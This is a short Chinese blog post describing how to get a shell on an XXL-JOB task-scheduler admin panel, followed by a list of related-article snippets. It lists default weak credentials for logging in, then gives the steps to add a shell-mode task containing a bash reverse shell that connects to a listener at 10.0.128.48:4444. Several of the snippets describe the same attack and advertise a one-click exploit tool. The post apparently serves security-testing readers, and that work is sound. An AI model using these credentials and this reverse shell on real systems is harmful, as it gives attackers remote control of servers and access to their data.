xxl-job后台getshell

网络安全：弱口令攻击与Linux反弹Shell
最新推荐文章于 2025-09-12 11:41:23 发布
原创 最新推荐文章于 2025-09-12 11:41:23 发布 · 1.3k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文探讨了网络安全中的弱口令攻击，举例展示了如何使用常见的默认密码尝试登录系统。同时，讲解了Linux环境下利用bash命令创建反弹Shell的过程，强调了网络安全意识和防护的重要性。

使用弱口令尝试登录（admin:admin root:root admin:123456）
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

#!/bin/bash

bash -i >& /dev/tcp/10.0.128.48/4444 0>&1

在这里插入图片描述
随意命名备注名称，点击保存
在这里插入图片描述
监听端口，点击执行，回弹shell
在这里插入图片描述

XXL-JOB任务调度中心后台命令执行漏洞
失心少年
08-20 1962
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！XXL-JOB任务调度中心后台存在命令执行漏洞，攻击者可在后台通过写入shell命令任务调度获取服务器控制权限。5、查看网站有回显，命令被成功执行。2、选择任务管理模块，新增任务。4、操作选择执行一次。
XXL-JOB分布式任务调度平台GetShell
Kevin's Blog
06-16 3547
一、漏洞介绍 1.1 漏洞简介   XXL-JOB是一个轻量级分布式任务调度平台，核心目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线，开箱即用。   如果XXL-JOB任务调度中心后台使用了弱密码，则可以在后台查看到一些敏感信息，可通过新增任务来反弹shell。 GitHub项目地址：https://github.com/xuxueli/xxl-job 1.2 漏洞指纹 访问其端口，查看到如下后台页面 二、攻击过程 》》nmap扫描端口，浏览器访问xxl-job后台
定时任务调度平台XXL-JOB
打代码是一天，不打代码也是一天
05-25 1661
想象你有一个需要每天凌晨3点自动执行的任务（比如数据统计），传统做法是写个定时任务。多台服务器同时运行任务任务失败自动重试实时查看任务执行日志动态调整执行时间XXL-JOB 就是为解决这些问题而生的任务调度平台。调度中心（管理后台）：负责定时触发任务，像指挥中心执行器（你的程序）：实际干活的代码，像工人。
【Web安全】XXL-JOB框架SRC高频漏洞分析总结
最新发布
水滴石穿
09-12 2136
XXL-JOB是国内主流的开源分布式任务调度框架，由徐雪里开发维护，以轻量易用、高可用、适配分布式场景等特性，广泛应用于互联网、金融等行业，承担定时任务调度、批量数据处理等核心业务。其架构核心为“调度中心（负责任务配置与触发）”与“执行器（负责任务实际运行）”，二者协同实现分布式任务管理。随着其部署范围扩大，低版本因安全设计不足，暴露出API未授权访问、默认弱口令、反序列化注入等高频漏洞，成为安全响应中心（SRC）常见安全事件诱因，可能导致服务器被控、业务数据泄露等严重后果。
XXL-JOB 任务调度中心 后台反弹getshell
m0_49025459的博客
03-14 3232
监听IP先进行监听，然后按照测试是否出网的时候执行一次，就将shell反弹到监听设备上了。那我们就可以更改 GLUE IDE中的命令了，将shell反弹到我们监听的设备。访问漏洞场景，使用弱口令admin/123456,进入后台。选择GLUE IDE，我们可以通过DNSlog判断一下。运行模式一定要选shell模式，其他的地方随便填。刷新之后，出现下图情况，证明设备出网。然后我们保存，然后执行一次。
xxl-job定时任务（shell）
m0_58096123的博客
02-27 2164
访问：http://192.168.76.14:8080/xxl-job-admin （IP改成自己的哈）增加节点的话我们直接将编译好的jar包拷贝到其他节点运行起来就可以了。我这里的脚本很简单，就是在/root/下面创建一个文件，写入执行成功。同时我们可以看到这里已经自动注册了一个节点。刷新web界面，此时注册节点已经变成了两个。现在来查看服务器上面是否创建了文件。略（docker起一个就好）默认用户名：admin。默认密码：123456。
XXL-job的搭建和使用-执行shell脚本
大宇进阶之路的博客
10-07 6237
场景：在腾讯云服务器上安装xxl-job应用和mysql数据库。安装mysql，安装教程见。
XXL-JOB任务调度中心-反弹shell)
weixin_48421613的博客
05-25 2996
XXL-JOB任务调度中心-反弹shell什么是XXL-JOBXXL-JOB初体验修复建议 什么是XXL-JOB XXL-JOB是一个轻量级分布式任务调度平台，支持通过web页面对任务进行操作，基于Java-spring boot框架开发，利用Maven依赖编译好，开箱即用。 如果XXL-JOB任务调度中心后台使用了弱密码，则可通过新增任务来反弹shell（实际上可以执行很多系统命令，因为bash shell直接写进服务器里面了）。 XXL-JOB初体验 今天测试，在后台看到了这个陌生的东西，说实话，安全测
xxl-job核心流程源码解析
技术交流
02-12 1112
1、执行器 （1）创建-后台 在后台admin页面，操作新增执行器。 注意： 选择“自动注册”（这里介绍自动注册方式） AppName对应项目application中配置的xxl.job.executor.appname属性，即XxlJobSpringExecutor的appname。 会调用/jobgroup/save方法，进行基本校验后，将执行器信息保存到表xxl_job_group中。 源码具体位置在xxl-job-admin的JobGroupController中。 （2）初始化-自动注册 将
SpringCloud分布式任务调度XXL-JOB完整指南
weixin_51040479的博客
08-01 1482
XXL-JOB是一个轻量级、易扩展的分布式任务调度平台，采用调度中心和执行器分离的架构设计，支持多种任务模式和调度策略。核心特性包括动态任务管理、高可用集群部署、弹性扩容、故障转移、分片广播等。文档详细介绍了XXL-JOB的架构设计、环境部署、执行器开发、调度中心使用、任务类型、高级特性及最佳实践。通过SpringBoot集成示例展示了BEAN模式、GLUE模式等任务开发方式，并提供了性能优化和安全配置建议。最后针对常见问题给出了解决方案，帮助开发者快速掌握这一强大的分布式任务调度框架。
【XXL-JOB源码深度剖析】：掌握与Nacos无缝集成的关键技巧
本文首先概述了XXL-JOB的架构和功能，接着深入探讨了其与Nacos集成的理论基础，包括服务发现和配置管理机制。文章详细介绍了集成实践操作，如环境搭建、任务调度配置和Nacos特性的灵活运用。通过源码深度解析，揭示...
SpringBoot第52讲：SpringBoot定时任务 - 分布式xxl-job及在项目中的使用
Jet_qi的博客
01-25 574
xxl-job在很多中小公司有着应用，虽然其代码和设计等质量并不太高，License不够开放，有着个人主义色彩，但是其具体开箱使用的便捷性和功能相对完善性，这是中小团队采用的主要原因；XXL-JOB是一个分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。本文是SpringBoot第52讲，介绍XXL-JOB以及与SpringBoot的集成及在项目中的使用。
使用xxl-job执行GLUE(shell)
热门推荐
前路无畏的博客
12-10 3万+
需求是这样：需要使用xxl-job实现调用脚本的功能，实现目的是在xxl-job控制器上创建一个test文件既可以了。 1.需求分析 通过这个图片，应该对需求和xxl-job执行shell的原理很明白了吧。 下面开始具体配置 2.执行器发现 把xxl-job部署在4444端口的机器上，注册到xxl-admin上 可以先自动发现，等西东发现后，选择手动，把自动识别错误的删除掉就可以了。 3. 如果有必要需要在xxl-job中写清楚自己的ip和端口，特别在虚拟环境中需要写明ip和端口 4. 书写GLU
xxl-job shell脚本
weixin_44185837的博客
05-25 1350
xxl-job shell脚本
如何使用xxl-job调度shell脚本
u013905744的专栏
07-05 2万+
刚刚开始使用XXL-JOB任务调度框架，使用Java Bean方式开发很方便。不过google了一下并没有详细的关于如何使用XXL-JOB调度shell脚本的介绍，本文记录一下。 首先看一下xxl-job文档中的原理说明 原理： 脚本任务的源码托管在调度中心，脚本逻辑在执行器运行。当触发脚本任务时，执行器会加载脚本源码在执行器机器上生成一份脚本文件，然后通过Java代码调用该脚本；并且实时将...
xxl-job(2.3.0)分布式任务bean模式，GLUE shell调度实践，源码debug
MJ的博客
01-30 6199
一、xxl-job分布式任务调度入门参考 1.分布式任务调度平台XXL-JOB官网文档 2.其它简单入门案例 二、调度中心简单的源码修改 1.源码git clone http://gitee.com/xuxueli0323/xxl-job 2.修改配置文件，修改了MYSQL EMAIL配置,新增钉钉配置。配置文件多环境支持application-test.properties、application-prod.properteis（通过启动脚本参数-Dspring.profiles.active=test
工具分享 | xxl-jobExploitGUI - xxl-job一键漏洞利用工具+一键getshll
IT软件汇
09-08 844
工具分享 | xxl-jobExploitGUI - xxl-job一键漏洞利用工具+一键getshll
分布式调度开源框架xxl-job项目整合
一路向南的博客
05-27 847
分布式调度开源框架xxl-job项目整合
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值